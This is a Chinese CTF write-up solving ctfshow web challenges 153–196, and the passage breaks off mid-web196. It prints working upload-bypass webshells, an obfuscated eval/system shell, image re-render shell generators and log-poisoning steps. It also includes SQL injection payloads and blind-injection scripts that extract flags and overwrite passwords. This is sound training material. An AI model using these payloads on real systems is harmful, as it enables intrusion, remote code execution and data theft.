auto_append_file=filename //包含在文件尾

举个例子

1
2
3
4
5
6
7
//.user.ini
auto_prepend_file=1.png

//1.png
<?php phpinfo();?>

//1.php(任意php文件)

满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png'),进行了文件包含,所以我们就依次上传即可

首先上传.user.ini文件

接着上传一个图片马

然后访问upload目录,即做题地址+/upload即可,因为此目录下原本有个index.php,接着再执行我们的一句话木马获取flag

web154

继续按照上题步骤,传一个.user.ini文件,接着在上传图片马的时候报错了

解码后显示的文字是不支持格式,说明可能内容里的php被ban了,改成短标签的形式再上传,发现可以通过

1
短标签形式:<?=system("tac ../f*");?>


接着再访问upload目录,即可得到flag

web155

用上题(web154)的办法可以通过

web156

用上题(web154)的办法可以通过

web157

一样用上题(web154)的办法可以通过,但过滤了分号,把短标签后面的;去掉,即

1
短标签形式:<?=system("tac ../f*")?>

web158

和上题一样的做法

web159

这里把()给ban了,我们采用反引号来执行命令,即

1
短标签形式:<?=`tac ../f*`?>

web160

依旧上传个.user.ini文件,但在传图片马的时候把反引号给ban了,我们使用include命令去配合php伪协议进行读取,因为把php给ban了,所以我们需要拼接起来,即

1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>


上传后访问upload目录

接着再base64解码即可得到flag

web161

这次上传失败了,尝试在头部加了图片文件头,就过去了,所以这里应该是用了getimagesize()进行检测

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

所以在上题的基础上都加个GIF89a图片头就可以了



接着进行base64解码即可得到flag

web162

这次把.给ban了,我们使用session文件包含,又忘记知识点的可以去看web82;还是一样先上传.user.ini ,内容为

1
2
GIF89a
auto_prepend_file=/tmp/sess_muma

接着再运行脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/8 17:06
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://3238a505-5728-4702-b83b-98460ec17f8d.chall.ctf.show:8080/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
while True:
f = io.BytesIO(b'GIF89a\ndotast')
files = {'file': ('1.png', f, 'image/png')}
response = session.post(url+"upload.php",cookies={'PHPSESSID': 'muma'}, data=data, files=files)
def read(session):
while True:
response = session.get(url+'upload')
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()

运行完后得到flag

web163

和上题一样采用session文件包含

web164

题目说开始改头换面了,先右键查看源码,发现有个download.php?image=

猜测有可能是上传图片马,然后文件包含执行命令,我们先上传一个图片马

点击查看图片,跳转到图片页面,但发现执行不了,crtl+s把图片下载下来后,对比之前的图片发现马被弄没了


应该是经过了二次刷新,这里用之前收集的外国师傅的脚本来生成图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');


需要安装php的gd库,使用命令sudo apt-get install php-gd进行安装,然后运行,生成1.png

接着上传生成的图片马,然后访问图片地址,抓包post执行命令即可得到flag

web165

这次变成jpg了,在网上找了对应的二次渲染的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

不过jpg图片成功率很低,试了好多张都不行,搜了一下,发下国光师傅分享了一张成功率比较高的图片,下面是原图

先在网页上传这张图片

然后点击查看图片,crtl+s下载被渲染过的图片,另存为1.jpg

然后运行脚本,生成payload_1.jpg

然后再上传payload_1.jpg,点击查看图片,可以看到图片有明显变化

然后抓包,执行命令获取flag

web166

查看源码,发现只能上传zip

我们写个一句话木马,然后把php改成zip上传

然后访问上传的页面,通过文件包含的特性,我们直接执行命令即可

web167

根据题目提示的httpd,想到是利用htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

首先上传一个jpg文件抓包(因为前段限制了只能上传jpg)

1
AddType application/x-httpd-php .jpg

然后文件名改成.htaccess,然后上传

接着再上传jpg格式文件,内容是一句话木马

然后访问文件,执行命令即可得到flag

web168

根据题目提示,是要做简单的免杀,刚好玩awd遇过挺多免杀马,第一个先祭上bugku的一道题过狗一句话的免杀马

1
2
3
4
5
6
<?php 
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>

还是基础操作,做一个图片马传上去

可以看见成功上传,绕后访问upload目录执行命令获取flag

web169

右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改Content-Typeimage/png,可以传php等格式,但发现内容中过滤了<>php,试了下可以传.user.ini,我们尝试一下日志包含,User-Agent加上一句话木马

1
auto_prepend_file=/var/log/nginx/access.log


接着得再上传一个php文件,满足.user.ini的利用效果,内容随意

然后再用蚁剑连接upload目录下的1.php即可

web170

和上题一样的方法

sql注入(171-253)

web171

打开题目,接下来150道全是sql注入了QWQ,先输入1查询

这里我们可以看到查询语句是这样的

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

当我们输入id=1的时候,语句代入数据库中查询就会变成这样

1
select username,password from user where username !='flag' and id ='1' limit 1;

如果我们加个单引号,即

1
select username,password from user where username !='flag' and id ='1'' limit 1;

语句不规范就会报错

如果我们在后面加个注释符,即变成id=1'--+

1
2
3
select username,password from user where username !='flag' and id ='1'--+' limit 1;
注释符--+会把后面的语句全注释掉,就不会报错,语句就变成了
select username,password from user where username !='flag' and id ='1'


接下来我们用order by语句测试有多少列

1
1' order by 4 --+


可以看到4列的时候报错,我们再减小数字

3列的时候正确回显了数据,说明只有三列(当然明眼的师傅前面已经看得出是只有三列了)
接下来,我们查一下数据库名字,这里用union语句来连接查询,并且在前面把id改成-1以达到把查询id回显的数据给置空的目的

1
-1' union select database(),2,3 --+


回显出数据库名字为ctfshow_web,接下来查询表,这里我们用group_concat函数,它可以把相同行的数据都组合起来

1
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+


查出表名为ctfshow_user,接下来再去查列名

1
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+


得到有id,username,password三个列名,然后再password中找到了flag

1
-1' union select password,2,3 from ctfshow_user--+

web172

这次变成了两列

1
1' order by 2 --+

查数据库名

1
-1' union select database(),1--+

得到数据库名字为ctfshow_web,接着查表名

1
-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+

得到有两个表,ctfshow_user和ctfshow_user2,直觉flag在第二个表中(后来看到代码都提示第二个了),直接查第二个表的列名

1
-1' union select group_concat(column_name),1 from information_schema.columns where table_name="ctfshow_user2" --+

得到有id,username,password三个列名,查password

1
-1' union select password,1 from ctfshow_user2--+

得到flag

web173

这次测出是三列

1
1' order by 3 --+

根据前面我们已经摸清数据库结构了,这里直接查password得到flag

1
-1' union select password,2,3 from ctfshow_user3--+

web174

这里有个坑点,就是选择第四关后,url还是第三关的,得手动把数字3改成4

测试了一下,有两列,但没有回显

这里代码匹配到数字就不会回显,我们可以采用盲注的方式来测试,这里我用的substr语句和页面回显查询出的admin语句来结合利用,写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/16 16:24
# blog: www.wlhhlc.top
import requests
url = "http://9ee16fc0-d13a-48ce-a43d-08dbe999e319.challenge.ctf.show:8080/api/v4.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
for j in dict:
payload = f"?id=1' and substr((select password from ctfshow_user4 where username=\"flag\"),{i},1)=\"{j}\"--+"
gloal = url + payload
res = requests.get(url=gloal)
if 'admin' in res.text:
flag += j
print(flag)
break

运行后即可得到flag
当然还有其他思路,例如把查询的结果写到一个文件中,然后访问就行

web175

这题的匹配规则把ascii码表中全部字符给禁了,不过我们还可以利用时间盲注的方法来判断获取flag,先说一下mysql中的if判断方法吧

1
if(expr1,expr2,expr3)  

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。写个时间盲注脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/16 16:24
# blog: www.wlhhlc.top
import requests
import time
url = "http://9cb608df-e447-434e-b864-67001d4b869d.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
for j in dict:
payload = f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i},1)=\"{j}\",sleep(5),0)--+"
gloal = url + payload
start = time.time()
res = requests.get(url=gloal)
end = time.time()
if end-start > 4.9:
flag += j
print(flag)
break

运行后得到flag

web176

这次开始有过滤注入,先测出有三列

1
1' order by 3--+

fuzz测试一下,发现是对select进行了过滤,我们大小写绕过就好了,paylaod如下

1
-1' union Select password,2,3 from ctfshow_user--+

还有另一种简单办法,既然存在注入,直接万能密码就好了' or 1=1--+

web177

这次发现还多过滤了空格,我们可以用%0a换行符或者/**/注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23,payload为

1
'/**/or/**/1=1%23

web178

这次/**/被ban了,我们换%0a

1
'%0aor%0a1=1%23

web179

这次测试一轮下来,发现只有%0c可以用

1
'%0cor%0c1=1%23

web180

这次把已知的能用的绕过空格方法都给过滤了,不过还可以采用运算符的方式来精心构造一个万能密码,先放出payload

1
-1'or(id=26)and'1

前面我们已经知道表的结构是id,username,password,所以我们通过查id的方式去找flag,而用运算符中,and的优先级比or高,这句话放到查询语句中就变成了

1
2
3
4
id='-1'or(id=26)and'1' limit 1;
也就是
(id='-1') or ((id=26) and '1') limit 1;
前面为0,后面为1,所以整个条件为1

web181

这次倒是把waf语句给放出来了,可以看到正则匹配把大小写给过滤,还是一样用上面的payload可以过

1
-1'or(id=26)and'1

web182

一样可以用上面的payload绕过

1
-1'or(id=26)and'1

web183

打开网站后根据提示,利用post传参,值为表名,根据之前的题我们知道表名是“ctfshow_user”,所以post一下

发现返回值为22,说明有22行数据,这里看返回逻辑把空格和等号以及一些常用的语句给ban掉了,空格的话尝试用括号扩住来让语句正常执行,等号用like来替代,然后用where和%来匹配数据

1
post:tableName=(ctfshow_user)where(pass)like'ctfshow%'


发现返回值为1,说明执行成功,我们写一个脚本来跑剩下的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests

url = "http://adb1f64a-e1fd-4640-aeb5-b49da1a62390.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
data = {"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}
res = requests.post(url=url, data=data)
if "$user_count = 1" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break

web184

这次倒是过滤了蛮多东西,像where和单引号双引号啥的都给ban了,这里打算用"right join"右连接(其他例如左连接内连接都可)来把两个表连接起来进行查询pass字段,后面的单引号可以用16进制编码绕过

RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。

1
2
3
ctfshow%    16进制编码后-->   0x63746673686f7725

post:tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725


发现可以成功返回数据,改一下脚本继续跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests
import binascii

def to_hex(s):
# 字符串转16进制
str_16 = binascii.b2a_hex(s.encode('utf-8'))
str_16 = bytes.decode(str_16)
res = str_16.replace("b'","").replace("'","")
return res

url = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = "0x" + to_hex(flag + j + "%")
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break

web185

看匹配规则,这次把数字都给全ban了

1
2
3
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

想到绕过的方法,一个是用true,另一个是用字母。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来
把上题脚本改一下,这里用concat来把每个字母连接起来,作用是连接每个参数拼接成字符串

1
2
mysql> SELECT CONCAT('my', 's', 'ql');
-> 'mysql'

写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests

def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str

url = "http://c0323dfb-fa55-4925-9c61-2e4b8c64e835.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break

web186

再上一题基础上多加了几个过滤,但没影响,继续用上一题脚本打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests

def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str

def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str

url = "http://3044fe6f-042f-49ea-a38c-5806a2404c7f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
#print(result)
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break

web187

这次变成登录的了,看返回逻辑

1
2
3
4
5
6
7
8
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制

而从网上搜集到的有一个字符串ffifdyop很特殊

1
2
3
echo md5("ffifdyop",true);
//结果
'or'6(后面的是不可见字符)

可以看到会返回引号闭合和or并且后面是一些不可见字符,在mysql中进行布尔判断的时候,只要是数字开头就会被当作true,结果也就是

1
password=''or true

也就是一个万能密码登录,在返回包中成功拿到flag

web188

查看一下sql语句和判断逻辑

1
2
3
4
5
6
7
 $sql = "select pass from ctfshow_user where username = {$username}";

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

可以看到是通过检索username来列出密码,然后一个弱比较来进行判断,先给出payload

1
username=0&password=0

以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

1
username=1||1&password=0

web189

开局就来个提示,flag在api/index.php
这次尝试username=0&password=0登录,发现提示密码错误,说明是密码跟上一题不一样了,不是以字母开头的数据。根据提示,flag的位置在一个文件中,可以用load_file来配合regexp来进行盲注

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/15 22:14
# blog: www.wlhhlc.top
import requests
url = "http://e232d7fb-b70d-4123-a740-369d7137c5dd.challenge.ctf.show:8080/api/index.php"
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"

for i in range(200):
for j in all_str:
data = {
"username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag + j),
'password':0
}
res = requests.post(url=url, data=data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag +=j
print(flag)
break
if j=='}':
exit()

web190

查看查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

结合用户名处会返回用户不存在和密码错误两种结果,利用布尔盲注来进行爆破获取flag,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/1 21:57
# blog: www.wlhhlc.top
import requests
url = "http://e4bfc493-4ed3-4091-99b3-e1770febcde1.challenge.ctf.show:8080/api/"
data = {'username':'',
'password':123456}
flag = ''

for i in range(1,46):
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = "select f1ag from ctfshow_fl0g"
data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
start = mid +1
else:
end = mid
flag = flag + chr(start)
print(flag)

web191

看到代码中把ascii给过滤了

1
2
3
4
5
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

我们把上题的脚本中的ascii函数换成ord函数就可以,对于单字节处理两者作用一样

ord():ord函数返回字符串的第一个字符的ascii值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/2 17:03
# blog: www.wlhhlc.top
import requests
url = "http://d0f3a387-5d85-4a5c-a4b8-2267077de55f.challenge.ctf.show:8080/api/"
data = {'username':'',
'password':123456}
flag = ''

for i in range(1,46):
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = "select f1ag from ctfshow_fl0g"
data['username'] = f"admin' and if(ord(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
start = mid +1
else:
end = mid
flag = flag + chr(start)
print(flag)

web192

继续看过滤规则

1
2
3
4
5
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

这次把ord给ban了,我们使用正则函数去一个个匹配字符,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/2 17:03
# blog: www.wlhhlc.top
import requests
url = "http://185fcade-247d-4a43-a4fc-5cd023f84184.challenge.ctf.show:8080/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

for i in range(1,99):
for j in all_str:
payload = "select group_concat(f1ag) from ctfshow_fl0g"
username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit()

web193

这次增加了过滤

1
2
3
4
5
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

把substr给ban了,正则没ban,可以用正则来写,代码中的^代表从第一位开始匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/11 14:03
# blog: www.wlhhlc.top
import requests
url = "http://4c28d2d4-bcae-4e08-9e24-dfa0cb694305.challenge.ctf.show:8080/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"

for i in range(1,99):
for j in all_str:
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
payload = "select group_concat(f1ag) from ctfshow_flxg"
username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data)
#print(data)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit()

web194

看过滤规则,正则没有被ban

1
2
3
4
5
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

继续上一题脚本打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/11 14:03
# blog: www.wlhhlc.top
import requests
url = "http://f5b3fbb4-9069-425e-8bda-7efad1755835.challenge.ctf.show:8080/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"

for i in range(1,99):
for j in all_str:
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
payload = "select group_concat(f1ag) from ctfshow_flxg"
username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data)
#print(data)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit()

web195

提示堆叠注入,

在sql语句中,分号;是用来表示一条sql语句的结束,而如果在一条sql语句结束后继续构造下一条sql语句,也会一起执行,从而产生了堆叠注入

看一下过滤规则

1
2
3
4
5
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

把空格给过滤了;可以采取反引号的方式执行
题目给出说明只要登录成功就可以获得flag,可以考虑使用update方法把数据库中的密码都更新成自己指定的密码,从而登录获取flag,payload如下

1
0x61646d696e;update`ctfshow_user`set`pass`=123456

0x61646d696e是admin的16进制,这里使用16进制的原因是题目给的sql语句中缺少单引号包裹

1
$sql = "select pass from ctfshow_user where username = {$username};";

然后再用账号0x61646d696e,密码123456登录就好

web196

这题的话加上了用户名的长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
